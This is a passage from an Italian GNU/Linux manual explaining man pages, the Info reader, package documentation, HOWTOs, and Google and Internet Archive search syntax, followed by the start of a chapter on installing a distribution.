- ***territorio*** è una sigla facoltativa di due caratteri maiuscoli definiti dallo standard ISO 3166 (tabella 14.5);
- ***insieme_di_caratteri*** è una sigla numerica che esprime l'insieme di caratteri utilizzato, secondo lo standard ISO (in pratica è il numero dello standard ISO).
- ***versione*** è un'indicazione supplementare non ben definita, della quale si cerca di scoraggiare l'utilizzo.

Nel caso delle pagine di manuale in italiano, queste, ammesso che siano disponibili, dovrebbero trovarsi nelle directory '***mandir***`/it_IT/man`***sezione***', oppure in '***mandir***`/it/man`***sezione***' (senza specificare il territorio). Di solito non si usa l'indicazione dell'insieme di caratteri perché si sottintende essere quello configurato in generale per l'uso del terminale (la variabile ***LANG*** e le variabili ***LC_****). Per fare in modo però che queste directory vengano utilizzate effettivamente, è necessario che la variabile di ambiente ***LANG*** contenga il valore '**`it_IT`**'.

Anche la directory che definisce l'architettura è facoltativa ed è necessaria solo quando in una sezione determinata esistono pagine di manuale riferite a programmi o altre informazioni dipendenti da particolari caratteristiche architetturali.

5.2.2 File di configurazione

Il comportamento di '**`man`**' può essere configurato attraverso un file di configurazione, che a seconda dei casi, nei sistemi GNU potrebbe essere il file '`/etc/man.config`' o '`/etc/manpath.config`'. Tra le tante cose, questo file contiene gli argomenti da fornire ai programmi utilizzati per la formattazione del testo da visualizzare o da stampare. Si osservino gli estratti seguenti, riferiti rispettivamente a '`/etc/man.config`' e a '`/etc/manpath.config`':

```
TROFF           /usr/bin/groff -Tps -mandoc
NROFF           /usr/bin/groff -Tutf8 -mandoc
EQN             /usr/bin/geqn -Tps
NEQN            /usr/bin/geqn -Tutf8
TBL             /usr/bin/gtbl
# COL           /usr/bin/col
REFER           /usr/bin/grefer
PIC             /usr/bin/gpic
VGRIND
GRAP
PAGER           /usr/bin/less -is
CAT             /bin/cat
```

```
# Program definitions.  These are commented out by default as the value
# of the definition is already the default.  To change: uncomment a
# definition and modify it.
#
#DEFINE         pager   exec /usr/bin/pager -s
#DEFINE         cat     /bin/cat
#DEFINE         tr      /usr/bin/tr '\255\267\264\327' '\055\157\047\170'
#DEFINE         grep    /bin/grep
#DEFINE         troff   /usr/bin/groff -mandoc
#DEFINE         nroff   /usr/bin/nroff -mandoc
#DEFINE         eqn     /usr/bin/eqn
#DEFINE         neqn    /usr/bin/neqn
#DEFINE         tbl     /usr/bin/tbl
#DEFINE         col     /usr/bin/col
#DEFINE         vgrind  /usr/bin/vgrind
#DEFINE         refer   /usr/bin/refer
#DEFINE         grap    /usr/bin/grap
#DEFINE         pic     /usr/bin/pic -S
#
#DEFINE         decompressor    /bin/gzip -dc
#DEFINE         compressor      /bin/gzip -c7
```

Una cosa che potrebbe essere necessario modificare nel file '`/etc/man.config`' è l'opzione '**`-T`**' di '**`groff`**' e di '**`geqn`**'. Utilizzandola nel modo che si vede nell'esempio ('**`-Tutf8`**'), serve a consentire la visualizzazione dei caratteri accentati delle pagine di manuale tradotte in italiano, quando si dispone di una configurazione locale per l'insieme di caratteri ISO 10646, con una codifica UTF-8.

5.2.3 Utilizzo dei programmi per accedere alle pagine di manuale

Come già accennato, per visualizzare il contenuto di una pagina di manuale si utilizza il programma '**`man`**', ma sono disponibili anche i comandi '**`whatis`**' e '**`apropos`**' per cercare informazioni al loro interno. [2]

```
man [opzioni] nome...
```

L'eseguibile '**man**' compone ed emette attraverso lo standard output la pagina di manuale indicata dal nome. Lo scorrimento del testo che compone le pagine di manuale indicate negli argomenti viene fatto attraverso un programma esterno, richiamato automaticamente da '**man**'. Solitamente si tratta di '**more**' o di '**less**'. Di conseguenza, i comandi per lo scorrimento del testo dipendono dal tipo di programma utilizzato. Se si tratta di uno di questi due appena citati, sono sempre validi almeno quelli riportati nella tabella 5.1.

Tabella 5.8. Alcune opzioni.

Opzione	Descrizione
numero_di_sezione	Se prima del nome del comando o dell'argomento appare un numero, si intende che si vuole ottenere la pagina di manuale da una sezione determinata, come riportato nella tabella 5.4.
`-f`	Si comporta come '**whatis**'.
`-h`	Visualizza una breve guida di se stesso.
`-k`	Equivalente a '**apropos**'.

Segue la descrizione di alcuni esempi.

- `$` **`man ls`** [*Invio*]

  Visualizza la pagina di manuale del programma '**ls**'.

- `$` **`man 8 mkfs`** [*Invio*]

  Visualizza la pagina di manuale nell'ottava sezione, del programma '**mkfs**'.

```
whatis parola...
```

Il programma '**whatis**' cerca la descrizione di una o più pagine di manuale corrispondenti ai nomi indicati come argomento.

Originariamente, la ricerca relativa a '**whatis**' e '**apropos**' avveniva in elenchi costruiti appositamente per mezzo del comando '**makewhatis**'.

Il risultato della ricerca viene emesso attraverso lo standard output. Sono visualizzate solo le corrispondenze con parole intere.

L'esempio seguente visualizza le descrizioni aventi la parola '**ls**' nel nome della pagina:

`$` **`whatis ls`** [*Invio*]

```
apropos stringa...
```

Il programma '**apropos**' cerca la descrizione di una o più pagine di manuale corrispondenti, che contengono al loro interno la stringa indicata (la ricerca viene fatta solo nella descrizione, nome compreso, e non nel corpo della pagina di manuale).

Il risultato della ricerca viene emesso attraverso lo standard output.

L'esempio seguente visualizza le descrizioni contenenti la stringa '**keyboard**':

$ **apropos keyboard** [*Invio*]

5.3 Info

La documentazione Info è un ipertesto realizzato dai file Info e leggibile attraverso il programma '**info**' oppure all'interno di Emacs. I file di questo ipertesto si trovano normalmente nella directory '`/usr/share/info/`'.

La documentazione Info è organizzata in file contenenti dei ***nodi***. Ogni nodo ha un nome e rappresenta un'unità di informazioni. Trattandosi di un sistema ipertestuale, ogni nodo può avere riferimenti ad altri nodi contenenti informazioni aggiuntive o collegate. Quasi tutti i nodi contengono almeno dei riferimenti standard definiti dalle voci seguenti:

- '**previous**' -- precedente;
- '**next**' -- successivo;
- '**up**' -- superiore.

Gli altri riferimenti possono essere organizzati in forma di menù o di riferimenti incrociati (*cross-reference*). Ogni file Info contiene almeno un nodo principale: '**Top**'. I nodi vengono identificati formalmente secondo la notazione seguente:

```
[(file_info)] [nome_del_nodo]
```

Se si indica solo il nome del nodo, si fa implicitamente riferimento al file utilizzato in quel momento determinato; se si indica solo il nome del file, si fa implicitamente riferimento al nodo '**Top**'.

5.3.1 Utilizzo del sistema attraverso l'eseguibile info

L'eseguibile '**info**' consente di consultare i file Info senza l'ausilio di Emacs:

```
info [opzioni] [voce...]
```

Se non viene indicato alcun argomento, in particolare, se non viene indicato il file Info da consultare, viene aperto il file '`/usr/share/info/dir`'.

Tabella 5.9. Alcune opzioni.

Opzione	Descrizione
`-d` ***percorso*** `--directory` ***percorso***	Specifica un percorso aggiuntivo all'interno del quale possono essere cercati i file Info.
`-f` ***file*** `--file=`***file***	Specifica un file particolare da visitare.
`-n` ***nodo*** `--node=`***nodo***	Specifica un nodo particolare da visitare.

Segue la descrizione di alcuni esempi.

- `$` **`info -f pippo.info`** [*Invio*]

  Inizia la visualizzazione del file '`pippo.info`' a partire dal suo nodo principale.

- `$` **`info -f pippo.info pappa`** [*Invio*]

  Seleziona la voce di menù '**`pappa`**' che dovrebbe essere contenuta nel nodo principale del file '`pippo.info`'.

- `$` **`info -f info`** [*Invio*]

  Inizia la visualizzazione del file '**`info`**' a partire dal suo nodo principale.

- `$` **`info info`** [*Invio*]

  Seleziona la voce di menù '**`info`**' dal nodo principale del file '`dir`' ('`/usr/share/info/dir`') che è quello predefinito.

Per poter leggere le informazioni contenute in questi file attraverso l'eseguibile '**`info`**', occorre conoscere alcuni comandi che non sono necessariamente intuitivi. Questi comandi si impartiscono semplicemente premendo il tasto della lettera o del simbolo corrispondente. Alcuni di questi comandi richiedono degli argomenti, in tal caso si è costretti a inserirli e a farli seguire da [*Invio*]. I comandi più importanti sono riportati nella tabella 5.10.

Tabella 5.10. Elenco dei comandi principali di '**`info`**'.

Comando	Descrizione
[*h*]	Visualizza la guida del programma '**`info`**' (*help*).
[*?*]	Visualizza l'elenco dei comandi disponibili.
[*d*]	Visualizza il file '`dir`'.
[*q*]	Termina l'esecuzione del programma (*quit*).
[*Ctrl g*]	Interrompe il comando in corso di digitazione.
[*Ctrl l*]	Ripristina l'immagine sullo schermo.
[*l*]	Ritorna al nodo selezionato precedentemente (*last*).

Quando si usa un ipertesto è molto importante conoscere il modo con cui si può ritornare sui

propri passi. In questo caso, il comando [*l*] permette di tornare indietro ed è particolarmente utile dopo la selezione di un comando di aiuto come [*h*] o [*?*].

La figura 5.11 mostra il nodo principale del file '`info`', cioè del documento che spiega il funzionamento di questo tipo di ipertesto.

Figura 5.11. La guida all'uso della documentazione Info.

```
File: info.info,  Node: Top,  Next: Getting Started,  Prev: (dir),  Up: (dir)

Info: An Introduction
*********************

   Info is a program for reading documentation, which you are using now.

   To learn how to use Info, type the command 'h'.  It brings you to a
programmed instruction sequence.  If at any time you are ready to stop
using Info, type 'q'.

   To learn advanced Info commands, type 'n' twice.  This brings you to
'Info for Experts', skipping over the 'Getting Started' chapter.

* Menu:

* Getting Started::             Getting started using an Info reader.
* Advanced Info::               Advanced commands within Info.
* Create an Info File::         How to make your own Info file.

--zz-Info: (info.info.gz)Top, 20 lines --All---------------------------------
Welcome to Info version 2.18. "C-h" for help, "m" for menu item.
```

La prima riga, quella che appare in alto, contiene in particolare il nome del file e del nodo.

```
File: info.info, Node: Top,  Next: Getting Started,  Prev: (dir), Up: (dir)
```

La penultima riga, la seconda dal basso, riporta ancora il nome del file e del nodo, oltre alla dimensione del nodo in righe e alla parola '**`All`**'. Si osservi che in questo caso il file è effettivamente '`info.info.gz`', che presumibilmente è stato compresso con Gzip.

```
--zz-Info: (info.info.gz)Top, 20 lines --All-------------------------------
```

La parola '**`All`**' indica che il nodo appare completamente nello spazio a disposizione sullo schermo o nella finestra. L'ultima riga dello schermo viene usata per dare informazioni all'utilizzatore e come spazio per l'inserimento di argomenti quando i comandi ne richiedono.

Sulla parte iniziale di ogni nodo, insieme al nome del file e del nodo stesso, sono riportati alcuni riferimenti standard (ad altri nodi). Sono rappresentati simbolicamente dai termini '**`Next`**' (successivo), '**`Prev`**' (precedente) e '**`Up`**' (superiore). Chi ha redatto il file Info ha definito quali devono essere effettivamente i nodi a cui queste voci si riferiscono e a tali nodi si accede utilizzando i comandi [*n*], [*p*] e [*u*], rispettivamente.

Tabella 5.14. Elenco dei comandi per la navigazione attraverso i riferimenti standard.

Comando	Descrizione
[*n*]	Visualizza il nodo successivo (*next*).
[*p*]	Visualizza il nodo precedente (*previous*).
[*u*]	Visualizza il nodo superiore (*up*).

Il riferimento '**`Up`**' non corrisponde necessariamente al nodo principale ('**`Top`**') del file che si sta consultando, ma a quello che in quel momento, per qualche motivo, rappresenta un riferimento principale. Lo stesso tipo di ragionamento vale per i riferimenti '**`Next`**' e '**`Prev`**' che rispecchiano solo una sequenza di massima.

Il testo di un nodo può essere più lungo delle righe a disposizione sullo schermo o nella finestra. Per scorrere il testo si utilizza la barra spaziatrice per avanzare e il tasto [*Canc*] per indietreggiare. È però necessario fare attenzione: se si eccede si prosegue su altri nodi, attraverso un percorso predefinito che solitamente non coincide con i riferimenti '**`Next`**' e '**`Prev`**' già visti.

Tabella 5.15. Elenco dei comandi per lo scorrimento naturale del documento.

Comando	Descrizione
[*barra–spaziatrice*]	Scorre in avanti.
[*Canc*]	Scorre all'indietro.
[*b*]	Visualizza l'inizio del nodo (*back*).

L'utilità di un ipertesto sta nella possibilità di raggiungere le informazioni desiderate seguendo un percorso non sequenziale. I documenti Info utilizzano due tipi di riferimenti (oltre a quelli standard): i menù e i riferimenti incrociati. I primi si distinguono perché sono evidenziati dalla sigla '**`* Menu:`**' seguita da un elenco di riferimenti; sono cioè staccati dal testo normale. I riferimenti incrociati appaiono invece all'interno del testo normale e sono evidenziati dalla sigla '**`* Note Cross:`**'.

Le voci di menù possono essere selezionate attraverso il comando [*m*] seguito dal nome del nodo; le voci dei riferimenti incrociati possono essere selezionate attraverso il comando [*f*] seguito dal nome del nodo.

L'utilità di avere due comandi diversi sta nel fatto che questi nomi possono essere indicati in forma abbreviata (per troncamento), indicando solo quello che serve per distinguerli dagli altri. Distinguendo i riferimenti raggruppati in menù, rispetto a quelli che appaiono nel testo, si riducono le possibilità di equivoci.

Tabella 5.16. Elenco dei comandi per la selezione dei riferimenti.

Comando	Descrizione
[*m*]***nodo***[*Invio*]	Richiama un nodo tra quelli indicati nel menù.
[*f*]***nodo***[*Invio*]	Richiama un nodo tra quelli indicati nei riferimenti incrociati.
[*g*]***nodo***[*Invio*]	Richiama un nodo qualunque (*go*).
[*Tab*]	Sposta il cursore sul prossimo riferimento disponibile.
[*Invio*]	Seleziona il nodo corrispondente al riferimento su cui si trova il cursore.

Per facilitare la selezione dei riferimenti che appaiono nel testo di un nodo (menù inclusi), si può utilizzare il tasto [*Tab*] per posizionare il cursore all'inizio della prossima voce e il tasto [*Invio*] per selezionare il nodo a cui fa riferimento la voce su cui si trova il cursore.

Se si conosce esattamente il nome di un nodo che si vuole raggiungere, si può utilizzare il comando [*g*] seguito dal nome del nodo stesso.

Quando si naviga all'interno della documentazione Info è sempre bene tenere a mente il comando [*l*] che permette di ritornare al nodo attraversato precedentemente.

Tabella 5.17. Altri comandi utili.

Comando	Descrizione
[*s*]***stringa***[*Invio*]	Cercare all'interno del file Info la stringa indicata (*search*).
[*Alt x*]print–node[*Invio*]	Invia alla stampa il nodo visualizzato sullo schermo (la parola chiave '**`print-node`**' va scritta così come si vede).

5.4 Documentazione allegata ai pacchetti applicativi

I pacchetti di programmi più importanti sono accompagnati da documentazione disponibile in vari formati (testo, LaTeX, TeX, SGML, HTML, PostScript, PDF, ecc.). Questa si trova collocata normalmente in sottodirectory discendenti da '`/usr/share/doc/`'.

5.5 HOWTO

I documenti HOWTO non accompagnano i pacchetti di programmi come loro parte integrante, essendo delle guide aggiuntive con scopi che vanno oltre la semplice documentazione del funzionamento di un solo pacchetto particolare. La maggior parte delle distribuzioni GNU include anche i file di documentazione HOWTO. Solitamente, questi vengono installati al di sotto della directory '`/usr/share/doc/HOWTO/`'.

5.6 FAQ

Un'altra fonte di documentazione sui sistemi GNU (e non solo) sono le cosiddette FAQ o *Frequently asked questions*. Si tratta di informazioni disordinate in forma di botta e risposta. Solitamente si trovano al di sotto della directory '`/usr/share/doc/FAQ/`'.[3]

5.7 LDP

A fianco della documentazione standard fornita più o meno con tutte le distribuzioni GNU/Linux, ci sono dei libri veri e propri disponibili liberamente. Questi sono raccolti all'interno del progetto LDP, o *Linux documentation project*.

Questi documenti, normalmente disponibili sia in PostScript/PDF, sia in HTML, sono raggiungibili a partire da ⟨*http://www.ibiblio.org/pub/Linux/docs/LDP/*⟩ e dai siti speculari relativi.

5.8 Altra documentazione

Oltre alla documentazione citata nelle sezioni precedenti, esistono altri documenti che possono essere ritrovati a partire da ⟨*http://www.ibiblio.org/pub/Linux/docs/*⟩ e dai siti speculari relativi.

Meritano particolare attenzione i riferimenti seguenti:

- *Gary's Encyclopedia*
  ⟨*http://eupedia.org*⟩
- *Connected: An Internet Encyclopedia*
  ⟨*http://www.freesoft.org/CIE/index.htm*⟩
- *Internet FAQ Archives*
  ⟨*http://www.faqs.org/faqs/*⟩

5.9 Ricerche tra i documenti in linea

L'utilizzo comune dei servizi offerti da Google è costituito dalle ricerche di documenti pubblicati nella rete (di qualunque formato). La figura 5.18 mostra una parte della pagina introduttiva del servizio contenente il necessario per indicare un'espressione di ricerca.

Figura 5.18. Maschera per l'inserimento di un'espressione di ricerca attraverso il servizio offerto da Google.

Supponendo di voler cercare documenti che contengono simultaneamente riferimenti a GNU/Linux e GNU/Hurd, si potrebbe indicare l'espressione '**`GNU/Linux GNU/HURD`**', senza bisogno di operatori (simboli) particolari. La figura 5.19 mostra il risultato della ricerca.

Figura 5.19. Risultato di una ricerca.

Web Immagini Gruppi News altro »

GNU/Linux GNU/HURD Cerca Ricerca avanzata Preferenze

Cerca: il Web pagine in Italiano pagine provenienti da: Italia

Web Risultati **1** - **10** su circa **305.000** per **GNU/Linux GNU/HURD**. (**0,15** secondi)

GNU - Wikipedia
Glibc (GNU C Library): la libreria standard del C, utilizzata nei programmi per **GNU/Linux**, ma non solo. GNOME (GNU Network Object Model Environment): **...**
it.wikipedia.org/wiki/GNU - 31k - Copia cache - Pagine simili

Controversia sul nome **GNU/Linux** - Wikipedia
Tuttavia, il suo kernel, **GNU Hurd**, era ancora nelle prime fasi del suo sviluppo. **...** Dando al sistema il nome **GNU/Linux**, si riconosce il ruolo che il nostro **...**
it.wikipedia.org/wiki/Controversia_sul_nome_GNU/Linux - 39k - Copia cache - Pagine simili

Linux e GNU - Il Progetto GNU - Free Software Foundation (FSF)
... (ma stavamo anche lavorando su un kernel, **GNU Hurd**, che si appoggia su Mach). **...** Il Progetto GNU supporta sia i sistemi **GNU/Linux** sia il sistema GNU, **...**
www.gnu.org/gnu/linux-and-gnu.it.html - 11k - Copia cache - Pagine simili

MaXimumDebian.org :: Debian **GNU/LINUX - GNU/HURD**
Dedicato alla distribuzione Debian offre articoli, risorse, notizie periodiche ed aggiornamenti.
www.maximumdebian.org/ - 39k - Copia cache - Pagine simili

Per ridurre la ricerca all'ambito di un certo sito, si può usare un'espressione apposita. Per esempio, se si è interessati esclusivamente a quanto pubblicato a partire da *linux.it*, sottodomini inclusi, basta aggiungere '**`site:linux.it`**'; pertanto la stringa completa di ricerca diventa '**`site:linux.it GNU/Linux GNU/HURD`**'.

Figura 5.20. Risultato di una ricerca con il vincolo del sito.

Web Immagini Gruppi News altro »

site:linux.it GNU/Linux GNU/HURD Cerca Ricerca avanzata Preferenze

Cerca: il Web pagine in Italiano pagine provenienti da: Italia

Web Risultati **1** - **10** su circa **104** da **linux.it** per **GNU/Linux GNU/HURD**. (**0,18** secondi)

Linux ed il Progetto GNU
... (ma stavamo anche lavorando su un kernel, **GNU Hurd**, che si appoggia su Mach). **...** Il Progetto GNU supporta sia i sistemi **GNU/Linux** sia il sistema GNU, **...**
www.linux.it/GNU/filosofia/linux-and-gnu.shtml - 12k - Copia cache - Pagine simili

FLUG - Linux e il progetto GNU
... con l'eccezione del kernel (ma stavamo lavorando su un kernel, **GNU Hurd**, **...** Il progetto GNU supporta i sistemi **GNU/Linux** come il sistema GNU, **...**
www.firenze.linux.it/docs/linux-e-gnu.php - 14k - Copia cache - Pagine simili

GNU/Hurd
Oggi ho installato una macchina dual boot: - Debian **GNU/Linux** - Debian **GNU/Hurd** E Grub fa avviare automaticamente il sistema **GNU/Hurd**, ma tramite un menu e' **...**
www.vicenza.linux.it/~vicenza/mailing-list/lugvi-fans-200004/msg00065.html - 5k - Copia cache - Pagine simili

Naturalmente il vincolo del sito può essere più stretto, per esempio aggiungendo una parte del percorso in cui devono trovarsi i documenti cercati.

Figura 5.21. Risultato di una ricerca con il vincolo del sito e di una porzione del percorso.

La tabella successiva mostra anche altre possibilità per la definizione di una ricerca efficace.

Tabella 5.22. Modelli di ricerca tipici di Google.

Modello	Descrizione
parola [***parola***] ...	Cerca un documento contenente tutte le parole indicate.
-***parola***	Il segno meno (‘**-**’) davanti a una parola (preceduta da almeno uno spazio) serve a escludere quella parola dal contenuto del documento cercato.
"***frase***"	Un testo delimitato tra apici doppi permette di ricercare la corrispondenza con la stessa sequenza di parole contenute.
`site:`***nome_di_dominio***	Il prefisso ‘**`site:`**’ serve a limitare la ricerca tra i documenti di un certo nome di dominio.
`url:`***stringa***	Il prefisso ‘**`url:`**’ serve a limitare la ricerca tra i documenti ottenibili da un indirizzo che contiene la stringa indicata (anche se si tratta del percorso che segue il nome di dominio).
`cache:`***indirizzo***	Richiede di visualizzare l’indirizzo indicato, come memorizzato da Google.

Per creare i propri indici, il sistema di Google deve prelevare una copia dei dati, che così viene archiviata. Se un documento sparisce improvvisamente, magari perché l’elaboratore che lo ospita è temporaneamente fuori servizio, o comunque irraggiungibile, è possibile recuperarlo dalla memoria di Google. Per esempio, per fare riferimento alla pagina indice di ⟨*http://www.gnu.org*⟩, basta indicare la stringa di ricerca ‘**`cache:www.gnu.org`**’.

Figura 5.23. Copia di Google della pagina che si ottiene dall’indirizzo ⟨*http://www.gnu.org*⟩.

This is Google's cache of http://www.gnu.org/ as retrieved on 24 Nov 2006 21:06:17 GMT.
Google's cache is the snapshot that we took of the page as we crawled the web.
The page may have changed since that time. Click here for the current page without highlighting.
This cached page may reference images which are no longer available. Click here for the cached text only.
To link to or bookmark this page, use the following url:
http://www.google.com/search?hl=it&q=cache%3Awww.gnu.org&btnG=Cerca&meta=

Google is neither affiliated with the authors of this page nor responsible for its content.

FSF FSF Europe FSF India FSF Latin America Translations of t Go

GNU's Not Unix! - Free Software, Free Society

What is Free Software? | Join the Free Software Foundation | Get FSF alerts |

NO DRM!

Home Software Philosophy Licenses Documentation Help GNU Contact Us GPL v3

The GNU Operating System - Free as in Freedom

Key resources

Le stringhe di ricerca che non sono troppo complesse, possono essere tradotte facilmente in un indirizzo URI, trasformando alcuni caratteri con la forma '`%`***hh***' (dove ***hh*** rappresenta un numero esadecimale corrispondente al carattere da indicare) e usando il segno '**+**' per concatenare le parole della ricerca:

`http://www.google.com/search?q=`***espressione_di_ricerca***

Lo specchietto successivo mostra alcuni esempi:

Modello di ricerca	Indirizzo URI equivalente
`GNU/Linux GNU/HURD`	⟨*http://www.google.com/search?q=GNU%2FLinux+GNU%2FHURD* ⟩
`site:linux.it GNU/Linux GNU/HURD`	⟨*http://www.google.com/search?q=site:linux.it+GNU%2FLinux+GNU%2FHURD* ⟩
`site:linux.it/docs GNU/Linux GNU/HURD`	⟨*http://www.google.com/search?q=site:linux.it/docs+GNU%2FLinux+GNU%2FHURD* ⟩
`cache:www.gnu.org`	⟨*http://www.google.com/search?q=cache:www.gnu.org* ⟩
`cache:www.gnu.org/philosophy`	⟨*http://www.google.com/search?q=cache:www.gnu.org/philosophy* ⟩

5.10 Ricerche nel passato

Internet Archive è il più grande sistema di archiviazione di dati esistente, nato con l'intento di raccogliere tutto ciò che Internet offre.

Presso Internet Archive è possibile trovare una raccolta di ogni tipo di opera digitale, ma soprattutto è possibile accedere a un archivio storico di Internet, a partire dalla fondazione di tale archivio.

L'archivio storico gestito da Internet Archive è noto come Wayback Machine e vi si accede solo specificando l'indirizzo URI del sito o del documento originale, con l'aggiunta eventuale del periodo a cui si è interessati: ⟨*http://web.archive.org*⟩.

Figura 5.25. Internet Archive con la maschera di inserimento per la ricerca.

The Wayback Machine

INTERNET ARCHIVE
WaybackMachine

http://

Take Me Back

Advanced Search

Evidentemente è sufficiente indicare l'indirizzo URI per ottenere un elenco di copie in vari momenti nel tempo. Per esempio, si potrebbe cercare l'indirizzo `http://www.gnu.org/philosopy`;[4] la figura successiva mostra cosa si potrebbe ottenere.

Figura 5.26. Archivio storico dell'indirizzo `http://www.gnu.org/philosopy`.

Searched for http://www.gnu.org/philosopy **4** Results

* denotes when site was updated.

Search Results for Jan 01, 1996 - Nov 26, 2006										
1996	1997	1998	1999	2000	2001	2002	2003	2004	2005	2006
0 pages	0 pages	0 pages	0 pages	0 pages	0 pages	0 pages	0 pages	3 pages	1 pages	0 pages
								Jun 26, 2004 * Oct 23, 2004 Dec 23, 2004	Dec 18, 2005 *	

Eventualmente, la ricerca può essere limitata a un certo periodo, oppure possono essere richieste anche delle opzioni interessanti, come la conversione del formato: ⟨http://web.archive.org/collections/web/advanced.html⟩. Tuttavia, è forse più utile definire la ricerca usando semplicemente un indirizzo URI, come si descrive dagli esempi successivi.

- ⟨http://web.archive.org/http://www.gnu.org/philosophy⟩

  Cerca la copia più recente di quanto archiviato da ⟨http://www.gnu.org/philosophy⟩.

- ⟨http://web.archive.org/web/20011231/http://www.gnu.org/philosophy⟩

  Cerca le copie di quanto archiviato da ⟨http://www.gnu.org/philosophy⟩ intorno al giorno 31 dicembre 2001.

- ⟨http://web.archive.org/web/200112/http://www.gnu.org/philosophy⟩

  Cerca le copie di quanto archiviato da ⟨http://www.gnu.org/philosophy⟩ intorno alla metà di dicembre 2001.

- ⟨http://web.archive.org/web/2001/http://www.gnu.org/philosophy⟩

  Cerca le copie di quanto archiviato da ⟨http://www.gnu.org/philosophy⟩ intorno alla metà del 2001.

- ⟨http://web.archive.org/web/200112*/http://www.gnu.org/philosophy⟩

  Cerca tutte le copie di quanto archiviato da ⟨http://www.gnu.org/philosophy⟩ nel mese di dicembre 2001.

- ⟨http://web.archive.org/web/2001*/http://www.gnu.org/philosophy⟩

  Cerca tutte le copie di quanto archiviato da ⟨http://www.gnu.org/philosophy⟩ nell'anno 2001.

- ⟨http://web.archive.org/*/http://www.gnu.org/philosophy⟩

  Cerca tutte le copie di quanto archiviato da ⟨http://www.gnu.org/philosophy⟩ in qualunque momento.

- ⟨http://web.archive.org/*/http://www.gnu.org/philo*⟩

  Cerca tutte le copie di quanto archiviato da `http://www.gnu.org/philo`... in qualunque momento.

L'archivio storico di Internet Archive, ovvero Wayback Machine, non è completo. In particolare non può essere consultato ciò che risulta escluso espressamente, sulla base del contenuto di file '`robots.txt`', i quali, però, vengono intesi in senso retroattivo. Si vedano a questo proposito le vicende giudiziarie citate nella pagina dedicata a questo servizio, su Wikipedia: *Internet Archive*, ⟨http://en.wikipedia.org/wiki/Internet_Archive⟩.

5.11 Ricerche geografiche

Google offre altri strumenti di ricerca, in particolare uno per le ricerche geografiche: ⟨http://maps.google.com⟩. Fornendo un indirizzo, possibilmente completo di codice di avviamento postale e di nazione, si ottiene la mappa della zona.

Figura 5.27. Ricerca di un indirizzo.

Figura 5.28. Ricerca di un itinerario.

Figura 5.29. Visione aerea.

5.12 Riferimenti

- Google

  ⟨*http://www.google.com* ⟩

- Internet Archive

  ⟨*http://archive.org* ⟩

- Wayback Machine

  ⟨*http://web.archive.org* ⟩

- Wikipedia, *Google*

  ⟨*http://en.wikipedia.org/wiki/Google* ⟩

- Wikipedia, *Internet Archive*

  ⟨*http://en.wikipedia.org/wiki/Internet_Archive* ⟩

[1] L'espressione regolare è un'espressione di ricerca con una sintassi particolare. Per conoscere cosa sono le espressioni regolari, si veda la sezione 26.1.

[2] **Man-db** GNU GPL

[3] In italiano qualcuno usa la definizione «filza di assilli quotidiani».

[4] La parola «philosopy» è errata di proposito e si scopre che l'indirizzo è stato usato effettivamente per un certo tempo.

Capitolo 6

Installazione e avvio di un sistema GNU/Linux

6.1 Scelta della distribuzione 180

6.2 Nomi dei dispositivi delle unità di memorizzazione 181

6.3 Preparazione 181

6.4 Partizioni e file system 182

6.5 Moduli 182

6.6 Aggiornamento di un'installazione precedente 182

6.7 Creazione delle partizioni e inizializzazione 183

6.8 Parametri di avvio 191

6.9 MBR 193

6.10 SYSLINUX 196

- 6.10.1 Installazione del sistema di avvio 197
- 6.10.2 Configurazione 198
- 6.10.3 File di aiuto 199
- 6.10.4 Componenti aggiuntivi 200
- 6.10.5 Avvio di un disco ottico 201
- 6.10.6 Conversione di un disco ottico avviabile in un'unità di memoria solida . . 202
- 6.10.7 Avvio dalla rete, senza dischi locali 203

6.11 GRUB 1 204

- 6.11.1 Logica generale 205
- 6.11.2 Dischi, partizioni, percorsi e blocchi di settori 206
- 6.11.3 Dischetto GRUB 1 di emergenza 207
- 6.11.4 Funzionamento interattivo 208
- 6.11.5 Installazione 211
- 6.11.6 Configurazione 213
- 6.11.7 Direttive specifiche per il file da usare come menù 215
- 6.11.8 Comandi 216
- 6.11.9 Configurazione dello sfondo 218
- 6.11.10 Menù con spiegazioni 220
- 6.11.11 Protezione 221

6.12 Riferimenti 221

`extlinux` 196 202 `fdisk` 183 `grub` 204 `install-mbr` 193 `isolinux` 201 `mboot.c32` 201 `memdisk` 200 `menu.c32` 200 `menu.lst` 204 `mke2fs` 183 `mkfs.ext2` 183 `mkfs.ext3` 183 `mkfs.ext4` 183 `mkswap` 183 `pxelinux` 203 `swapon` 183 `syslinux` 196

Per chi vuole avere il controllo di quello che fa con il software, la prima installazione di un nuovo sistema operativo può essere complessa, trattandosi di ciò che non si conosce ancora con il necessario approfondimento. In questo capitolo si trattano tutte le questioni generali relative all'installazione di un sistema GNU/Linux che possono essere utili per un migliore approccio iniziale, benché le distribuzioni più comuni offrano strumenti sempre più semplici e automatici per tale scopo.

6.1 Scelta della distribuzione

Prima di poter installare un sistema GNU/Linux occorre procurarsi una distribuzione di questo sistema operativo. Le distribuzioni di sistemi GNU/Linux esistenti sono molte; ciò è sicuramente un sintomo positivo dell'importanza che questo sistema operativo ha. Tuttavia, per l'utente rimane il problema di scegliere.

Non si può consigliare in modo generalizzato una distribuzione particolare, perché nessuna può essere migliore delle altre in senso assoluto; ognuna interpreta a proprio modo le esigenze dell'utenza, ponendo l'accento su certe caratteristiche e trascurandone altre. Di sicuro, chi intende utilizzare GNU/Linux in modo sistematico o professionale farebbe bene a provarne alcune prima di decidere «definitivamente» quale offre per sé i vantaggi migliori.

In passato, la scelta di una distribuzione particolare era motivata dalla difficoltà con cui queste potevano essere ottenute; spesso si cominciava a utilizzare GNU/Linux con un CD-ROM allegato a un libro o a una rivista, dal momento che era un po' difficile lo scarico diretto da Internet. Oggi le riviste specializzate pubblicano con maggiore frequenza le distribuzioni GNU/Linux più comuni; inoltre lo scarico diretto dalla rete non è più problematico. Vale la pena di citare qualche distribuzione storica, indicando alcune delle loro caratteristiche.

Tabella 6.1. Distribuzioni storiche degli anni 1990.

Nome	Descrizione
Slackware	La distribuzione GNU/Linux Slackware è stata la prima a essere relativamente «facile» da installare e in ciò ha il merito di avere contribuito alla diffusione di questo sistema operativo nei suoi primi anni di vita. La caratteristica principale di questa distribuzione è di essere «spartana» come un sistema Unix tradizionale, introducendo però una gestione dei pacchetti (formato tar+gz), anche se primordiale rispetto a quanto fatto successivamente da altre distribuzioni.
